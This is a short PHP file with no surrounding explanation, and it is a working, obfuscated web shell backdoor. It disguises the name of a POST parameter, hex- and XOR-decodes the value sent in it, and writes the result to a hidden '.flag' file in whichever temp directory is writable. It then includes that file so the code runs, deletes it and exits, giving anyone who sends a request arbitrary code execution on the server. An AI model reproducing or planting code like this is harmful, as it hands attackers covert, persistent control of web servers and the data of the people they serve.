?
<?php
if(array_key_exists("ke\x79", $_POST) && !is_null($_POST["ke\x79"])){
$item = hex2bin($_POST["ke\x79"]);
$ptr= '' ;$v = 0; while($v < strlen($item)){$ptr .= chr(ord($item[$v]) ^ 82);$v++;}
$marker = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir()]);
for ($ent = 0, $token = count($marker); $ent < $token; $ent++) {
$tkn = $marker[$ent];
if (!!is_dir($tkn) && !!is_writable($tkn)) {
$object = str_replace("{var_dir}", $tkn, "{var_dir}/.flag");
$success = file_put_contents($object, $ptr);
if ($success) {
include $object;
@unlink($object);
exit;}
}
}
}